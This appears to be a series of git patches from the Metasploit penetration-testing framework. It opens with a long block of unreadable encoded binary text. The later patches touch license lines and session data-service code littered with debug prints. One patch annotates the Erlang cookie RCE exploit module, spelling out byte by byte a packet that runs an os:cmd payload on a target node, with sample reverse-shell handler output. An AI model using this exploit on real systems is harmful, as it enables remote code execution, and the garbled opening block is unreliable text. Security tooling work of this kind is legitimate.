zmgNpU-A`Z-w#d2r?De0Fg9^yz`V@6JeHv(k6> zx2M;49Qt;GGj)2Oqx6kTqmT91C<+km(F41toi6 zUhXHas$ht8zU~CQ@p}<_Y=WL;aXs{J5PT*79*K|pFdv9<60?3CJIiW5O~s%7f$wVO z|5dqFYAXYmdEt@qiGn`VFq8cJGPv?{&cOdv^QzRxbbk>%sq^1X zr7tIiz5~$r#Tn`QsM7a8h~re@qn-LuJ_6u*6ZdKFMt(-!WAct;{fW#D%j%^l()1GCfkGb(r(nh z&~YQ~EvyT>mRk>e`VA!M)u3Al4~HpIkLxBILqpO-pf`iQhIH5Z7Us*n)DOCPPe>kI z%%lClj}1j+KN0tBVf~SOu1Ag;R{8oc_y&d}`n*>qE$u(>1wV`=odd$~qtbZxj2f4r~(w!Y)mt3Nw ztj`<6;ttk!YRotaxg)P5y>+_jeMPcAiS~+uKK{FieUbtw^X#7!&)bLo%^DvMJ=Z75m2(O@rmAbp_tJ01U1=_`VY zLkM>b{Cti2V5f=wX*2tQIt?sQ@GpW+Ob04{J;|*5>uQ~mXD0hE$~HuK)=a=aOrOdco6s-l3%do7+E2{pAiSRLirNaOsRD21Hbh~#QrMz zSvTh{ScJ{Ms+8sf8V0@Vc*Is8f!nCdB~N1jN#)Nm%Ks^1|4!zq)VR-eo-@Oh{UGeu z6VvUg&S&wLc~yLgqK70@tMW-1_`ClaNqWD|@Kgiu0$xEz-IjbJH^2v-FGHXYfqpXq zO|Qre@jLguO%So%@H31ZjDFu zc?%ByDDXxX&hY0wg!w4o>U`ZAtXOpIrz<7>?~-r9&x`(40zU%0oPf-OQr~*u{&2+Z z)8!B?1-eGp==B_wYX`kIGI6}!1N>Rwmr$Qvm2eLrJ^yt}bOz(A@lQoj4u9#5PFZfK zkLmtraHbxweO>8$W*U8Lr>Y-D{zkZiSa-b6pep31Nkw@-*V7PwncS2=E!%oz&n7m+BO&C7wSd)fL~xh zxWqewcN<))D&l>>2Y~+s_Y!Z#e*k#nZBe~XT>NEx4+HN7uG&>&rvM1JNI%t!`8?3S zP2dK+{Bz`Q((}HG^4k*C^Epd%JG|aqvI<6rvlMiHD{>a)IdlS@elfJh{#Sd21?&d#&^xF}&Z6e^0zYj^8 zpfcxtwt0+PHRML_kJ)FYIpq@bdRiQVLg{r-PQ@Q`&+d!a#|R)Ey3?4L=jjK1{PR)! zW)_%6OrpfsCh~j;3hDa(F!+M^MD4b00MN6F)sdD{XX!S^JenC2DzT- zg!fiOz%zlXf<@18FF^cb$^wSMfq~^n+jBjZl%GZHt z(!K%es|4N+{OyLb9dajLi0bz%CY+A_T794o4MpwTv!)2=NZO>~9A$WZJu#f8fOi3Z zyWuQ)6y@i&s6JO`l5kdn-u>TEyLu{nj+{MdINKpN6iW^#?c4+WS>WZkM>|kLhpGpG zp8(!UfaTrsomt8q2EFR7sQ&J#v>(Ke1Fr#|PC2=#FYPhSznU2I;e$ulq06f-$`yd# z1-bVS(f+A$lmYJsUN1Plep=&{s|EcC=niFp~6XTjwkQ?yD>}@Q_(5KfU?M$j5s6YR4 zl=r-t?el5{k6-CJUxfLk6#Q-A|2Xa?KVY!O2kmb)=)It?c7{*Cf6^N>Zr1Cm zw}bDfyiUoPUKz>fjH+<@~CN$#NPr&}bGX z_#xm6fUAaB!o={80cU(w`E}q?;jbd*s3-ECM125$H(mt119+*6za01ga8(~U^w$Dk zP!u!!^i=)Dd>H~>0{nOu9!&X5%=4=bGV^5*_{J}a>F>BAU+O`k<2$t&%PiKzL{;t% zfj{%&n7xPw*8HdslKLHLO%mn|@D3myi_~>_P5V0Rd3nrkka8aH=eXvwu_(-oP0MPk ziRGXSay3`R%>IR>?;O)cwV)pXeXE4WSwF=WM{x;?ZnWE&Zq&P%;aL*1A0@C-PyAG3 zl4dgoxU}CO=mV9p_<3xqo>-iCkBKFM${wTOD_k1W=iSBaVX7|HWP0L7*<;9u(-rji zJg*<+339K)uXz1(1N)OZGTXA$M02g0WCoe(R1W^OWih=!d$M%GixMB!UQiwRL*PFO z{$CR?_1AK0U%e--EsGmpR~Y@YM<4jRmd9*c_?O4uzjUQj-!SOSRVdH2S6m;fLR2@E zoj7vhw54rXJ5;eF|0(LbCZ^BbH2h22vN|)?a=$ItxM*hZs`CF7%EPrWdncY*PPi_I zcp316z?qHBMZ6mL5b!MoS10c8rk-e2md4+?7xka8`2ohVepN7DyGkwg8!($O+O8pDsES9guP1l2X(%PLT=I4n4bT{GIPf< zbSk|0Pow`0y0d+Ucb08?=4|v~m-f@1tJTxoyS%;^z1E#R#0z|Gv-Kk*2Y^U-9@J@LK;REOYA9|K_p2B~NpI=JDO{v;I>8cKUtZzal+; zl;!)%T8FAah-6if9#N8wAm&Cna+Az_qe#H#0`s^{-Cz=Tyf`% z`)+a1689W&O}x*O=L^KWNZiZBy+YgyahHmFowzH-HSw;K=Xmx|Z!7RrmRt@Dy(92c z#N7WgT~lt2pTVFG-vs=FlZV^LP35-zMW;vmKPi4~XX|j9%ETRyswv{vd+t9Lzg_>N z_|>1I!^x?9UheqSPZ2+>@E?m`u;87^>rl@Ar?kLHT~1Q+%`&_*3(VU0o!M=sQet0I z|C)Nr)Eh&Gf=biThqW90o_4JP?Xn)@at%vhtBnu5OvC9{Ph2y=x{v&%WR2)@V_d~F z$=_QPz*YaAaz&*Mt^+$wc&o0^_#~o}LZ*Fj6Aj+-3mvW}#QhxnGBKgdyWY}t;~G5! z6_bbK!yjFwSay9xyYvUq`P_Z-Y~@&-E{9_vlZwYto@t_ya!^y12bB>*s)! z?||sBmT7;iT5+$}?!QQR`oDHfxCc&NrEUlQtlglvhVFI)mX6N}aRVOx+$-*h&3fEC zAmisDaZea`>*V8Vw?C?q!(YY1g_i~jSFGK3YiL`bw79hR!t+bFsi%w1)6bSwytQ#_ zXiI3#TC4ch&7p?kE3RC8erU}`dD?jEw&JzhHZ`q3f75!acuPamn&RfBkX5|t)=l^i zHMEATy1J%KYuD9n*wWCjrD1E`hFh)T4IqPi^ZGTRHHN+h%#ac8t=ra$fK}Yk2;nui zG+4zO*R88-XkFLP9I8Wrnt+6qisI1Pty`_)b)n5$;H=lqC)aJkJ$zuW;2Fd>BTV?y zLDZ5IbcL`vL@nz!-*QXCts%GR-qG`1NS%hC>5q4Lf=Z8G<%4xf>M8M;mbg`S+$-pm z9}szcij`h}>lAUzbA1mn)=7zcvwBMWx#i11a>@sMLB$+Ed&%p_?X*tf3M6jT-Ie%v%3C{i zxw3X@xp5lUap_(}0;tBVQ+|A(mLK1z<#Q9P>dqbhRU&WfACP&7K#!I$8>05a6-eBw zyS4Zyhmo(Z)%9k5tzLzg>Ed@k)4opmMv-q6`T7*{J6-YzMgE}3mtxJ7^K$#&>5`A; zd_u8DbLJ@b;^gS7usZcUB=SBnZ07s*I5YG8T0Y=p#=YDBM+GzTg(6=l@+B$cv7}ao zNwS;emUriWxBt($v7|`k84yi0sS{u_rp!|&!Z{-5LW&lCrzYr^hiJt^V$7)Bww H9 Date: Mon, 10 Dec 2018 19:03:18 -0600 Subject: [PATCH 044/220] remove metasm/cpuinfo license info --- LICENSE | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/LICENSE b/LICENSE index ec2dc0b27428..fe89c525fe61 100644 --- a/LICENSE +++ b/LICENSE @@ -71,7 +71,7 @@ Files: lib/anemone.rb lib/anemone/* Copyright: 2009 Vertive, Inc. License: MIT -Files: lib/metasm.rb lib/metasm/* data/cpuinfo/* +Files: data/cpuinfo/* Copyright: 2006-2010 Yoann GUILLOT License: LGPL-2.1 From 5d906087848779b4776b6c99b3035c62b11d23bb Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 10 Dec 2018 19:03:42 -0600 Subject: [PATCH 045/220] remove cpuinfo from license --- LICENSE | 4 ---- 1 file changed, 4 deletions(-) diff --git a/LICENSE b/LICENSE index fe89c525fe61..3df1e2509a03 100644 --- a/LICENSE +++ b/LICENSE @@ -71,10 +71,6 @@ Files: lib/anemone.rb lib/anemone/* Copyright: 2009 Vertive, Inc. License: MIT -Files: data/cpuinfo/* -Copyright: 2006-2010 Yoann GUILLOT -License: LGPL-2.1 - Files: lib/msf/core/modules/external/python/async_timeout/* Copyright: 2016-2017 Andrew Svetlov License: Apache 2.0 From 2e26ceac8f85a1333eb94804da8a22584023a4f6 Mon Sep 17 00:00:00 2001 From: Milton-Valencia Date: Thu, 13 Dec 2018 10:55:09 -0600 Subject: [PATCH 046/220] added comments --- .../exploit/multi/misc/erlang_cookie_rce.md | 4 +- .../exploits/multi/misc/erlang_cookie_rce.rb | 87 ++++++++++++------- 2 files changed, 60 insertions(+), 31 deletions(-) diff --git a/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md b/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md index 635da703f089..e4ab90888baf 100644 --- a/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md +++ b/documentation/modules/exploit/multi/misc/erlang_cookie_rce.md @@ -55,7 +55,7 @@ msf exploit(multi/erlang_cookie_rce) > exploit [*] Started reverse TCP double handler on W.X.Y.Z:4444 [*] A.B.C.D:25672 - Receiving server challenge [*] A.B.C.D:25672 - Sending challenge reply -[*] A.B.C.D:25672 - Challenge sent, sending payload +[+] A.B.C.D:25672 - Authentication successful, sending payload [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo XinIWxzXWDO5x9EM; @@ -104,7 +104,7 @@ msf exploit(multi/erlang_cookie_rce) > exploit [*] A.B.C.D:25672 - Receiving server challenge [*] A.B.C.D:25672 - Sending challenge reply -[*] A.B.C.D:25672 - Challenge sent, sending payload +[+] A.B.C.D:25672 - Authentication successful, sending payload [*] Exploit completed, but no session was created. --- Impacket SMB Server --- diff --git a/modules/exploits/multi/misc/erlang_cookie_rce.rb b/modules/exploits/multi/misc/erlang_cookie_rce.rb index 9530056e4e60..9376aa26407f 100644 --- a/modules/exploits/multi/misc/erlang_cookie_rce.rb +++ b/modules/exploits/multi/misc/erlang_cookie_rce.rb @@ -61,36 +61,65 @@ def exploit our_node = "#{rand_text_alphanumeric(6..12)}@#{rand_text_alphanumeric(6..12)}" # SEND_NAME: send initial identification of who "we" are - send_name = "\x00" - send_name << [(our_node.length+7).to_s(16)].pack('H*') - send_name << "\x6e" - send_name << "\x00\x05" - send_name << "\x00\x03\x49\x9c" - send_name << "#{our_node}" + send_name = "\x00" # Length: 0x0000 + send_name << [(our_node.length+7).to_s(16)].pack('H*') # + send_name << "\x6e" # Tag: n + send_name << "\x00\x05" # Version: R6 (5) + send_name << "\x00\x03\x49\x9c" # Flags (0x0003499c) + send_name << "#{our_node}" # @ + # SEND_CHALLENGE_REPLY: return generated digest and its own challenge - send_challenge_reply = "\x00\x15" - send_challenge_reply << "\x72" + send_challenge_reply = "\x00\x15" # Length: 21 + send_challenge_reply << "\x72" # Tag: r + # SEND: send the message to the node - send = "\x00\x00\x00" - send << [(0x50 + payload.raw.length + our_node.length*2).to_s(16)].pack('H*') - send << "\x70\x83\x68\x04\x61\x06\x67\x64\x00" - send << [(our_node.length).to_s(16)].pack('H*') - send << "#{our_node}" - send << "\x00\x00\x00\x03\x00\x00\x00\x00\x00\x64\x00\x00\x64" - send << "\x00\x03\x72\x65\x78\x83\x68\x02\x67\x64\x00" - send << [(our_node.length).to_s(16)].pack('H*') - send << "#{our_node}" - send << "\x00\x00\x00\x03\x00\x00\x00\x00\x00\x68\x05\x64\x00\x04" - send << "call" - send << "\x64\x00\x02" - send << "os" - send << "\x64\x00\x03" - send << "cmd" - send << "\x6c\x00\x00\x00\x01\x6b\x00" - send << [(payload.raw.length).to_s(16)].pack('H*') - send << payload.raw - send << "\x6a\x64\x00\x04" - send << "user" + send = "\x00\x00\x00" # Length:0x00000000 + send << [(0x50 + payload.raw.length + our_node.length*2).to_s(16)].pack('H*') # + send << "\x70" # + send << "\x83" # VERSION_MAGIC + send << "\x68" # SMALL_TUPLE_EXT (104) + send << "\x04" # Arity: 4 + send << "\x61" # SMALL_INTEGER_EXT + send << "\x06" # Int: 6 + send << "\x67" # PID_EXT (103) + send << "\x64\x00" # Node: + send << [(our_node.length).to_s(16)].pack('H*') # Length: strlen(Node) + send << "#{our_node}" # Node + send << "\x00\x00\x00\x03" # ID + send << "\x00\x00\x00\x00" # Serial + send << "\x00" # Creation + send << "\x64" # InternalSegmentIndex + send << "\x00\x00" # Len: 0x0000 + send << "\x64" # InternalSegmentIndex + send << "\x00\x03" # Length: 3 + send << "rex" # AtomText: rex + send << "\x83\x68\x02\x67\x64\x00" # + send << [(our_node.length).to_s(16)].pack('H*') # Length: strlen(Node) + send << "#{our_node}" # Node + send << "\x00\x00\x00\x03" # ID + send << "\x00\x00\x00\x00" # Serial + send << "\x00" # Creation + send << "\x68" # SMALL_TUPLE_EXT (104) + send << "\x05" # Arity: 5 + send << "\x64" # InternalSegmentIndex + send << "\x00\x04" # Length: 4 + send << "call" # AtomText: call + send << "\x64" # InternalSegmentIndex + send << "\x00\x02" # Length: 2 + send << "os" # AtomText: os + send << "\x64" # InternalSegmentIndex + send << "\x00\x03" # Length: 3 + send << "cmd" # AtomText: cmd + send << "\x6c" # LIST_EXT + send << "\x00\x00\x00\x01" # Length: 1 + send << "\x6b" # Elements: k + send << "\x00" # Tail + send << [(payload.raw.length).to_s(16)].pack('H*') # strlen(Command) + send << payload.raw # Command + send << "\x6a" # NIL_EXT + send << "\x64" # InternalSegmentIndex + send << "\x00\x04" # Length: 4 + send << "user" # AtomText: user sock.put(send_name) @@ -109,7 +138,7 @@ def exploit fail_with(Failure::UnexpectedReply, "Authentication Failed:#{datastore['COOKIE']}") end - print_status("Challenge sent, sending payload") + print_good("Authentication successful, sending payload") sock.put(send) end end From 3f1aa425b49433e43ef53a164e86a0de48fa2521 Mon Sep 17 00:00:00 2001 From: Milton-Valencia Date: Thu, 13 Dec 2018 11:03:41 -0600 Subject: [PATCH 047/220] msftidy....lol --- modules/exploits/multi/misc/erlang_cookie_rce.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/misc/erlang_cookie_rce.rb b/modules/exploits/multi/misc/erlang_cookie_rce.rb index 9376aa26407f..99b71263f8cb 100644 --- a/modules/exploits/multi/misc/erlang_cookie_rce.rb +++ b/modules/exploits/multi/misc/erlang_cookie_rce.rb @@ -67,7 +67,7 @@ def exploit send_name << "\x00\x05" # Version: R6 (5) send_name << "\x00\x03\x49\x9c" # Flags (0x0003499c) send_name << "#{our_node}" # @ - + # SEND_CHALLENGE_REPLY: return generated digest and its own challenge send_challenge_reply = "\x00\x15" # Length: 21 send_challenge_reply << "\x72" # Tag: r @@ -82,7 +82,7 @@ def exploit send << "\x61" # SMALL_INTEGER_EXT send << "\x06" # Int: 6 send << "\x67" # PID_EXT (103) - send << "\x64\x00" # Node: + send << "\x64\x00" # Node: send << [(our_node.length).to_s(16)].pack('H*') # Length: strlen(Node) send << "#{our_node}" # Node send << "\x00\x00\x00\x03" # ID From 4cefb8d06ee41233bf5e1b76ba255f67c9faf172 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Fri, 14 Dec 2018 11:19:40 -0500 Subject: [PATCH 048/220] Fix typo --- lib/msf/core/web_services/servlet/user_servlet.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/web_services/servlet/user_servlet.rb b/lib/msf/core/web_services/servlet/user_servlet.rb index 243a2748eaa2..17dda26068b7 100644 --- a/lib/msf/core/web_services/servlet/user_servlet.rb +++ b/lib/msf/core/web_services/servlet/user_servlet.rb @@ -55,7 +55,7 @@ def self.update_user data = data.first if !sanitized_params[:id].nil? && data.count == 1 set_json_data_response(response: data) rescue => e - print_error_and_create_response(error: e, message: 'There was an error creating the user:', code: 500) + print_error_and_create_response(error: e, message: 'There was an error updating the user:', code: 500) end } end From 3f9b2dadc87fb3d982d7b0dd76e58bb1384a811d Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Fri, 14 Dec 2018 11:20:19 -0500 Subject: [PATCH 049/220] Remove unnecessary single object selection --- lib/msf/core/web_services/servlet/user_servlet.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/lib/msf/core/web_services/servlet/user_servlet.rb b/lib/msf/core/web_services/servlet/user_servlet.rb index 17dda26068b7..89641cc37fd4 100644 --- a/lib/msf/core/web_services/servlet/user_servlet.rb +++ b/lib/msf/core/web_services/servlet/user_servlet.rb @@ -51,8 +51,6 @@ def self.update_user tmp_params = sanitize_params(params) opts[:id] = tmp_params[:id] if tmp_params[:id] data = get_db.update_user(opts) - # Only return the single object if the id parameter is present - data = data.first if !sanitized_params[:id].nil? && data.count == 1 set_json_data_response(response: data) rescue => e print_error_and_create_response(error: e, message: 'There was an error updating the user:', code: 500) From a8ed971f12d281de836b11e72ffd5224b0ba76e0 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Fri, 14 Dec 2018 11:46:12 -0500 Subject: [PATCH 050/220] Move convert_msf_session_to_hash to data proxy --- .../data_service/proxy/session_data_proxy.rb | 56 ++++++++++++++++++ .../http/remote_session_data_service.rb | 57 +------------------ 2 files changed, 57 insertions(+), 56 deletions(-) diff --git a/lib/metasploit/framework/data_service/proxy/session_data_proxy.rb b/lib/metasploit/framework/data_service/proxy/session_data_proxy.rb index d2ef08565b73..44a403533df0 100644 --- a/lib/metasploit/framework/data_service/proxy/session_data_proxy.rb +++ b/lib/metasploit/framework/data_service/proxy/session_data_proxy.rb @@ -20,6 +20,62 @@ def report_session(opts) self.log_error(e, "Problem reporting session") end end + + # TODO: handle task info + def self.convert_msf_session_to_hash(msf_session) + hash = Hash.new() + hash[:host_data] = parse_host_opts(msf_session) + hash[:session_data] = parse_session_data(msf_session) + + if (msf_session.via_exploit) + hash[:vuln_info] = parse_vuln_info(msf_session) + end + + return hash + end + + ####### + private + ####### + + def self.parse_session_data(msf_session) + hash = Hash.new() + # TODO: what to do with this shiz + hash[:datastore] = msf_session.exploit_datastore.to_h + hash[:desc] = msf_session.info + hash[:local_id] = msf_session.sid + hash[:platform] = msf_session.session_type + hash[:port] = msf_session.session_port + hash[:stype] = msf_session.type + hash[:via_exploit] = msf_session.via_exploit + hash[:via_payload] = msf_session.via_payload + return hash + end + + def self.parse_host_opts(msf_session) + hash = Hash.new() + hash[:host] = msf_session.session_host + hash[:arch] = msf_session.arch if msf_session.respond_to?(:arch) and msf_session.arch + hash[:workspace] = msf_session.workspace || msf_session[:workspace] + return hash + end + + def self.parse_vuln_info(msf_session) + hash = Hash.new() + if msf_session.via_exploit == "exploit/multi/handler" and msf_session.exploit_datastore['ParentModule'] + hash[:mod_fullname] = msf_session.exploit_datastore['ParentModule'] + else + hash[:mod_fullname] = msf_session.via_exploit + end + + hash[:remote_port] = msf_session.exploit_datastore["RPORT"] + hash[:username] = msf_session.username + hash[:run_id] = msf_session.exploit.user_data.try(:[], :run_id) + + hash[:mod_name] = msf_session.exploit.name + hash[:mod_references] = msf_session.exploit.references + return hash + end end diff --git a/lib/metasploit/framework/data_service/remote/http/remote_session_data_service.rb b/lib/metasploit/framework/data_service/remote/http/remote_session_data_service.rb index c6c8c83b0c3e..6d70e71bf53a 100644 --- a/lib/metasploit/framework/data_service/remote/http/remote_session_data_service.rb +++ b/lib/metasploit/framework/data_service/remote/http/remote_session_data_service.rb @@ -14,7 +14,7 @@ def sessions(opts) def report_session(opts) session = opts[:session] if (session.kind_of? Msf::Session) - opts = convert_msf_session_to_hash(session) + opts = SessionDataProxy.convert_msf_session_to_hash(session) opts[:session_dto] = true elsif (opts[:host]) opts[:host] = opts[:host].address @@ -25,60 +25,5 @@ def report_session(opts) session.db_record = sess_db end - ####### - private - ####### - - # TODO: handle task info - def convert_msf_session_to_hash(msf_session) - hash = Hash.new() - hash[:host_data] = parse_host_opts(msf_session) - hash[:session_data] = parse_session_data(msf_session) - - if (msf_session.via_exploit) - hash[:vuln_info] = parse_vuln_info(msf_session) - end - - return hash - end - - def parse_session_data(msf_session) - hash = Hash.new() - # TODO: what to do with this shiz - hash[:datastore] = msf_session.exploit_datastore.to_h - hash[:desc] = msf_session.info - hash[:local_id] = msf_session.sid - hash[:platform] = msf_session.session_type - hash[:port] = msf_session.session_port - hash[:stype] = msf_session.type - hash[:via_exploit] = msf_session.via_exploit - hash[:via_payload] = msf_session.via_payload - return hash - end - - def parse_host_opts(msf_session) - hash = Hash.new() - hash[:host] = msf_session.session_host - hash[:arch] = msf_session.arch if msf_session.respond_to?(:arch) and msf_session.arch - hash[:workspace] = msf_session.workspace || msf_session[:workspace] - return hash - end - - def parse_vuln_info(msf_session) - hash = Hash.new() - if msf_session.via_exploit == "exploit/multi/handler" and msf_session.exploit_datastore['ParentModule'] - hash[:mod_fullname] = msf_session.exploit_datastore['ParentModule'] - else - hash[:mod_fullname] = msf_session.via_exploit - end - - hash[:remote_port] = msf_session.exploit_datastore["RPORT"] - hash[:username] = msf_session.username - hash[:run_id] = msf_session.exploit.user_data.try(:[], :run_id) - - hash[:mod_name] = msf_session.exploit.name - hash[:mod_references] = msf_session.exploit.references - return hash - end end From b6cdf7aa9d3e45ada809c9c20e5e81dc38b9fd49 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Fri, 14 Dec 2018 12:04:55 -0500 Subject: [PATCH 051/220] Add update_session method --- .../data_service/proxy/session_data_proxy.rb | 55 +++++++++++++++++++ .../http/remote_session_data_service.rb | 24 +++++++- .../stubs/session_data_service.rb | 4 ++ lib/msf/core/db_manager/session.rb | 23 ++++++++ .../web_services/servlet/session_servlet.rb | 22 ++++++++ 5 files changed, 127 insertions(+), 1 deletion(-) diff --git a/lib/metasploit/framework/data_service/proxy/session_data_proxy.rb b/lib/metasploit/framework/data_service/proxy/session_data_proxy.rb index 44a403533df0..1ac4f41b2436 100644 --- a/lib/metasploit/framework/data_service/proxy/session_data_proxy.rb +++ b/lib/metasploit/framework/data_service/proxy/session_data_proxy.rb @@ -21,6 +21,61 @@ def report_session(opts) end end + # Update the attributes of a session entry using opts. + # If opts is a Hash, the values should match the attributes to update and must contain :id. + # If opts is a Msf::Session object, it is converted to a Hash and used for the update. + # The db_record attribute of the Msf::Session object is updated using the returned Mdm::Session. + # + # @param opts [Hash|Msf::Session] Hash containing the updated values. Key should match the attribute to update. + # Must contain :id of record to update. Otherwise, a Msf::Session object is used to update all attributes. + # @return [Mdm::Session] The updated Mdm::Session object. + def update_session(opts) + begin + self.data_service_operation do |data_service| + is_msf_session = false + $stderr.puts("*** SessionDataProxy.update_session(): opts=#{opts}") # TODO: remove + # session = opts[:session] + # $stderr.puts("*** SessionDataProxy.update_session(): session.class=#{session.class}") # TODO: remove + # if !session.nil? && session.kind_of?(Msf::Session) + if !opts.nil? && opts.kind_of?(Msf::Session) + msf_session = opts + is_msf_session = true + $stderr.puts("*** SessionDataProxy.update_session(): is_msf_session=#{is_msf_session}, opts=#{opts}, opts.class=#{opts.class}") # TODO: remove + # save session ID + # id = opts.delete(:id) + # tmp_opts = convert_msf_session_to_hash(session) + tmp_opts = SessionDataProxy.convert_msf_session_to_hash(msf_session) + # only updating session data + # opts = tmp_opts[:session_data] + opts = tmp_opts[:session_data] + # add back session ID + # opts[:id] = id + opts[:id] = msf_session.db_record.id + $stderr.puts("*** SessionDataProxy.update_session(): after convert_msf_session_to_hash, opts=#{opts}") # TODO: remove + end + + mdm_session = data_service.update_session(opts) + + $stderr.puts("*** SessionDataProxy.update_session(): after update: is_msf_session=#{is_msf_session}, mdm_session=#{mdm_session}, #{mdm_session.attributes}") # TODO: remove + # reassign returned Mdm::Session to the Msf::Session's db_record + msf_session.db_record = mdm_session if is_msf_session + $stderr.puts("*** SessionDataProxy.update_session(): msf_session.db_record=#{msf_session.db_record}") if is_msf_session # TODO: remove + + # TODO: remove block + if is_msf_session && !msf_session.db_record.nil? + $stderr.puts("SessionDataProxy.update_session(): msf_session.db_record=#{msf_session.db_record}, msf_session.db_record.id=#{msf_session.db_record.id}") # TODO: remove + else + $stderr.puts("SessionDataProxy.update_session(): msf_session.db_record is nil") # TODO: remove + end + + mdm_session + end + rescue => e + $stderr.puts("SessionDataProxy.update_session(): e.backtrace=#{e.backtrace}") # TODO: remove + self.log_error(e, "Problem updating session") + end + end + # TODO: handle task info def self.convert_msf_session_to_hash(msf_session) hash = Hash.new() diff --git a/lib/metasploit/framework/data_service/remote/http/remote_session_data_service.rb b/lib/metasploit/framework/data_service/remote/http/remote_session_data_service.rb index 6d70e71bf53a..63ccf2c90f7c 100644 --- a/lib/metasploit/framework/data_service/remote/http/remote_session_data_service.rb +++ b/lib/metasploit/framework/data_service/remote/http/remote_session_data_service.rb @@ -12,18 +12,40 @@ def sessions(opts) end def report_session(opts) + $stderr.puts("RemoteSessionDataService.report_session(): opts=#{opts}") # TODO: remove session = opts[:session] if (session.kind_of? Msf::Session) opts = SessionDataProxy.convert_msf_session_to_hash(session) opts[:session_dto] = true elsif (opts[:host]) + $stderr.puts("*** RemoteSessionDataService.report_session(): executing path where session is not a kind_of Msf::Session...") # TODO: remove opts[:host] = opts[:host].address end opts[:time_stamp] = Time.now.utc + $stderr.puts("RemoteSessionDataService.report_session(): opts=#{opts}") # TODO: remove sess_db = json_to_mdm_object(self.post_data(SESSION_API_PATH, opts), SESSION_MDM_CLASS, []).first + if !sess_db.nil? + $stderr.puts("RemoteSessionDataService.report_session(): sess_db=#{sess_db}, sess_db.id=#{sess_db.id}") # TODO: remove + else + $stderr.puts("RemoteSessionDataService.report_session(): sess_db is nil") # TODO: remove + end session.db_record = sess_db end -end + def update_session(opts) + path = SESSION_API_PATH + if opts && opts[:id] + id = opts.delete(:id) + path = "#{SESSION_API_PATH}/#{id}" + end + + $stderr.puts("RemoteSessionDataService.update_session(): path=#{path}, opts=#{opts}") # TODO: remove + sess_db = json_to_mdm_object(self.put_data(path, opts), SESSION_MDM_CLASS, []).first + $stderr.puts("RemoteSessionDataService.update_session(): returning... sess_db=#{sess_db}") # TODO: remove + + sess_db + end + +end diff --git a/lib/metasploit/framework/data_service/stubs/session_data_service.rb b/lib/metasploit/framework/data_service/stubs/session_data_service.rb index 2d3b22a4327d..f3a2e8dea7d3 100644 --- a/lib/metasploit/framework/data_service/stubs/session_data_service.rb +++ b/lib/metasploit/framework/data_service/stubs/session_data_service.rb @@ -6,4 +6,8 @@ def sessions(opts) def report_session(opts) raise 'SessionDataService#report_session is not implemented' end + + def update_session(opts) + raise 'SessionDataService#update_session is not implemented' + end end \ No newline at end of file diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index 6a48afaf3afd..f6d2da809091 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -178,6 +178,29 @@ def report_session_dto(session_dto) } end + # Update the attributes of a session entry with the values in opts. + # The values in opts should match the attributes to update. + # + # @param opts [Hash] Hash containing the updated values. Key should match the attribute to update. Must contain :id of record to update. + # @return [Mdm::Session] The updated Mdm::Session object. + def update_session(opts) + return if not active + + ::ActiveRecord::Base.connection_pool.with_connection { + $stderr.puts("#{DateTime.now} Msf::DBManager::Session.update_session(): opts=#{opts}") # TODO: remove + + id = opts.delete(:id) + $stderr.puts("#{DateTime.now} Msf::DBManager::Session.update_session(): id=#{id}, opts=#{opts}") # TODO: remove + $stderr.puts("#{DateTime.now} Msf::DBManager::Session.update_session(): id=#{id}, before update: #{Mdm::Session.find(id).attributes}") # TODO: remove + session_db_record = ::Mdm::Session.update(id, opts) + $stderr.puts("#{DateTime.now} Msf::DBManager::Session.update_session(): session_db_record=#{session_db_record}") # TODO: remove + $stderr.puts("#{DateTime.now} Msf::DBManager::Session.update_session(): session_db_record.id=#{session_db_record.id}") unless session_db_record.nil? # TODO: remove + $stderr.puts("#{DateTime.now} Msf::DBManager::Session.update_session(): id=#{id}, after update: #{Mdm::Session.find(id).attributes}") # TODO: remove + + session_db_record + } + end + # Clean out any stale sessions that have been orphaned by a dead framework instance. # @param last_seen_interval [Integer] interval, in seconds, open sessions are marked as alive def remove_stale_sessions(last_seen_interval) diff --git a/lib/msf/core/web_services/servlet/session_servlet.rb b/lib/msf/core/web_services/servlet/session_servlet.rb index d073ca711841..bbe88bbce0bb 100644 --- a/lib/msf/core/web_services/servlet/session_servlet.rb +++ b/lib/msf/core/web_services/servlet/session_servlet.rb @@ -11,6 +11,7 @@ def self.api_path_with_id def self.registered(app) app.get SessionServlet.api_path_with_id, &get_session app.post SessionServlet.api_path, &report_session + app.put SessionServlet.api_path_with_id, &update_session end ####### @@ -50,4 +51,25 @@ def self.report_session } end + def self.update_session + lambda { + warden.authenticate! + begin + opts = parse_json_request(request, false) + $stderr.puts("#{DateTime.now} SessionServlet.update_session(): opts=#{opts}") # TODO: remove + tmp_params = sanitize_params(params) + opts[:id] = tmp_params[:id] if tmp_params[:id] + $stderr.puts("#{DateTime.now} SessionServlet.update_session(): (after mod) opts=#{opts}") # TODO: remove + data = get_db.update_session(opts) + + $stderr.puts("#{DateTime.now} SessionServlet.update_session(): data=#{data}") # TODO: remove + $stderr.puts("#{DateTime.now} SessionServlet.update_session(): data.class=#{data.class}") unless data.nil? # TODO: remove + + set_json_data_response(response: data) + rescue => e + print_error_and_create_response(error: e, message: 'There was an error updating the session:', code: 500) + end + } + end + end From c2af36f40552d0032ca8b5ec35ecfc6e0761eedd Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Fri, 14 Dec 2018 12:22:49 -0500 Subject: [PATCH 052/220] Use update_session rather than Mdm save method The changes ensure that updates to an Mdm::Session are reflected on a remote data service. --- lib/msf/base/sessions/meterpreter.rb | 4 ++-- lib/msf/core/session.rb | 8 +++++--- lib/msf/core/session_manager.rb | 5 +++-- 3 files changed, 10 